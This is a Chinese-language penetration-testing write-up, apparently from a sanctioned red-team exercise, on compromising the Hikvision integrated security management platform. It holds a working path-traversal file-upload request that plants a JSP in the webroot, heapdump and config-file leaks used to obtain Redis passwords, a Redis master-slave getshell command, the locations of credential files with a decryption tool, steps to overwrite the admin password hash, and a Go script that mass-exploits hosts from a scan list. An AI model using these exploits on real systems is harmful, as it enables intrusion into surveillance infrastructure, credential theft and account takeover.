0x00 前言
这篇文章的起因是前段时间的市攻防演练中,海康的综合安防是我知道的得分比较多的资产,自己也有幸拿到了一个。因为是第一次独立渗透海康的综合安防,也有些困难,不过好在一晚上的努力后,成功将机子上能拿的分拿到了。为了下次能够更好的渗透,就整理了下综合安防的得分点。
0x01 入口点
app="HIKVISION-综合安防管理平台"
title="综合安防管理平台"
首先要先找到入口点,有两种方法,一种是通过利用report任意文件上传,另一种是收集信息获取到redis数据的密码,然后使用主从复制来getshell,实现内网突破
report任意文件上传
poc如下
POST /svm/api/external/report HTTP/1.1
Host: xx.xx.xx.xx:11443
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarykYswiCilf8qB
------WebKitFormBoundarykYswiCilf8qB
Content-Disposition: form-data; name="file"; filename="../../../../../../../../../../../opt/hikvision/web/components/tomcat85linux64.1/webapps/els/static/1.jsp"
Content-Type: application/zip
<%out.print("Vulnerability is exist");%>
------WebKitFormBoundarykYswiCilf8qB--
收到的响应包如下
HTTP/1.1 200
Date: Fri, 21 Jun 2024 21:31:56 GMT
Content-Type: application/json;charset=UTF-8
Content-Length: 69
Connection: keep-alive
traceId: f570d6a8d329cece
Set-Cookie: JSESSIONID=30885E6D014929B496EDC9635ABA8EF8; Path=/svm; secure; HttpOnly;secure
Cache-Control: no-cache
Cache-Control: no-store
Cache-Control: must-revalidate
Pragma: no-cache
Expires: 0
Access-Control-Allow-Origin: http://xx.xx.xx.xx:11443/center
Access-Control-Allow-Credentials: true
Access-Control-Allow-Methods: POST, GET, OPTIONS, DELETE, PUT,PATCH, HEAD
Access-Control-Allow-Headers: Content-Type
Access-Control-Max-Age: 3600
{"code":"0x26e31402","msg":"上报的文件格式错误","data":null}
然后访问https://xx.xx.xx.xx:11443/els/static/1.jsp
,响应内容如下,则可以确定存在任意文件上传漏洞,并且能够解析jsp脚本
HTTP/1.1 200
Date: Fri, 21 Jun 2024 21:33:58 GMT
Content-Type: text/html;charset=ISO-8859-1
Connection: keep-alive
Set-Cookie: JSESSIONID=E81E46F2D575A51BEA3260243454C81B; Path=/els; secure; HttpOnly;secure
Content-Length: 24
Vulnerability is exist
redis主从复制getshell
通过heapdump泄露
访问https://xx.xx.xx.xx:11443/artemis-portal/artemis/heapdump
,如下下载了heapdump
文件,那么就可以通过解密来获取运行中的配置,获取redis服务的password
、port
通过portal配置文件泄露
请求https://xx.xx.xx.xx:11443/portal/conf/config.properties
,正常返回配置文件,portalcache
开头的字段为redis数据库配置
再通过主从复制的项目来执行命令
https://github.com/vulhub/redis-rogue-getshell
python redis-master.py -r <rhost> -p <rport> -L <lhost> -P <lport> -f RedisModulesSDK/exp.so -c "id"
即可完成getshell
0x02 后渗透
讲完入口点后,就可以收集里面的信息了
来到/opt/hikvision/web/components
路径下,这里是设备中的应用安装路径,每个应用中的配置文件路径:conf/config.properties
,查看文件就可以获取一系列应用服务的配置,取得服务权限来得分。(配置文件解密工具 GitHub - wafinfo/Hikvision: 海康威视综合安防平台后渗透利用工具)
应用权限
主要配置文件所在应用文件夹如下(示例):
PgSql(7092/管理员):postgresql11linux64.1
Redis:redislinux64.1
MinIO:minio.1
RabbitMQ:rabbitmq.1
PgSql(7092/普通用户):lm.1
、lsm.1
、els.1
、acps.1
、iac.1
、irds.1
、asw.1
、eportal.1
、vnsc.1
、svm.1
、frs.1
、issc.1
、sdmc.1
、isupm.1
、rtree.1
、vms.1
、ismd.1
、dac.1
、uis.1
、cis.1
、mps.1
、ncg.1
、hapts.1
、paf.1
、acs.1
、
artemis.1
、nms.1
ActiveMQ:activemq514linux64.1
SMS(无法验证):smsps.1
Mail(无法验证):mailps.1
Notify(无法验证):每个配置文件中都有
MongoDB:mdblinux64.1
(可能未开启,无法验证)
Ldap(无法验证):els.1
、sac.1
、tvms.1
、irds.1
、vnsc.1
、frs.1
、sdmc.1
、isupm.1
、rtree.1
、vms.1
、ismd.1
、dac.1
、cis.1
、ncg.1
、hapts.1
、acs.1
、nms.1
从上述结果来分析,通过查看postgresql11linux64.1
、rabbitmq.1
、minio.1
、rabbitmq.1
、lm.1
、activemq514linux64.1
这些应用程序的配置文件,就能够获取到可以验证的服务。
加密内容解密:
java -jar Hikvision.jar <encryption>
后台权限
除了上面的应用权限以外, 还有个比较特殊的,在/opt/hikvision/web/opsMgrCenter/
下,这个配置文件中web应用程序的配置信息(后台数据库、加解密密钥等),这里需要用到的是7001
端口上的pgsql数据库,里面存储管理员的信息。
解密连接数据库opsmgr_db
,用户表center_user
,通过工具来生成一个新的密码
$ java -jar Hikvision.jar
=======================基 本 信 息=======================
海康威视综合安防平台: 数据库解密/用户名密码替换
下载地址: https://github.com/wafinfo/Hikvision
只适合Windows平台使用,暂不支持linux+MacOs
=======================使 用 文 档=======================
[+] 生成密码成功:P@ssw0rd0.
[+] 生成salt成功:c4ca4238a0b923820dcc509a6f75849b
[+] 替换center_user表 password salt:983605f69b7a3a91187eb301eda62bbde9513ea706821b3e93ccdadbfe055b88 c4ca4238a0b923820dcc509a6f75849b
[+] 解密使用:java -jar Hikvision.jar EQAQAL5By8zVCjbJ9y5Dx5D50PudK8/DpYxLALFIHoOG0y286hgglnwspCcQka3Hj1x3jA==
替换sysadmin的salt和password值或创建一个新用户后,登录后台,即可获取Web系统权限。
0x03 结尾
综上所述,在综合安防上的成果有:内网突破*1 + PgSql管理员*1 + PgSql普通用户*1 + MinIO*1 + RabbitMQ*1 + ActicveMQ*1 + 综合安防*1 + 摄像头*n,如果进行后续的横向移动,可能会有更大的成果。下面附上自己编写的批量检测report任意文件上传脚本,也希望师傅们看完这篇文章后能有所收获。
附:
海康威视综合安防管理平台批量检测report任意文件上传
package main
import (
"crypto/tls"
"fmt"
"io"
"net/http"
"net/url"
"os"
"path/filepath"
"strings"
)
func main() {
WebPath := "els/static/1.jsp" // 验证文件存放路径,建议只修改文件名
Uri := ReadUri("url.txt") // fofa保存的host导入至url.txt
Path := CreatePath(WebPath)
Poc := "Vulnerability is exist"
for _, uri := range Uri {
u, err := url.Parse(uri)
if err != nil {
fmt.Println(err)
continue
}
host := u.Host
UploadFile(host, Path, Poc)
VisitFile(host, WebPath, Poc)
}
}
func CreatePath(path string) string {
root := "../../../../../../../../../../../opt/hikvision/web/components/tomcat85linux64.1/webapps"
return strings.ReplaceAll(filepath.Join(root, path), string(filepath.Separator), "/")
}
func ReadUri(filename string) []string {
file, err := os.Open(filename)
if err != nil {
fmt.Println(err)
os.Exit(-1)
}
defer file.Close()
data, err := io.ReadAll(file)
if err != nil {
fmt.Println(err)
os.Exit(-1)
}
return strings.Split(string(data), "\n")
}
func UploadFile(host, path, poc string) {
url := fmt.Sprintf("https://%s/svm/api/external/report", host)
contentType := "multipart/form-data; boundary=----WebKitFormBoundarykYswiCilf8qB"
body := "------WebKitFormBoundarykYswiCilf8qB\r\n" +
"Content-Disposition: form-data; name=\"file\";" +
fmt.Sprintf("filename=\"%s\"\r\n", path) +
"Content-Type: application/zip\r\n\r\n" +
fmt.Sprintf("<%%out.print(\"%s\");%%>", poc) +
"\r\n\r\n------WebKitFormBoundarykYswiCilf8qB--"
client := http.Client{
Transport: &http.Transport{
TLSClientConfig: &tls.Config{
InsecureSkipVerify: true,
},
},
}
resp, err := client.Post(url, contentType, strings.NewReader(body))
if err != nil {
fmt.Println("出现错误: " + err.Error())
return
}
defer resp.Body.Close()
}
func VisitFile(host, webPath, poc string) {
client := http.Client{
Transport: &http.Transport{
TLSClientConfig: &tls.Config{
InsecureSkipVerify: true,
},
},
}
pocUrl := fmt.Sprintf("https://%s/%s", host, webPath)
pocResp, err := client.Get(pocUrl)
if err != nil {
fmt.Println(err)
return
}
defer pocResp.Body.Close()
respBody, _ := io.ReadAll(pocResp.Body)
if pocResp.StatusCode == 200 && strings.Contains(string(respBody), poc) {
fmt.Println(host + ": " + poc)
}
}
参与讨论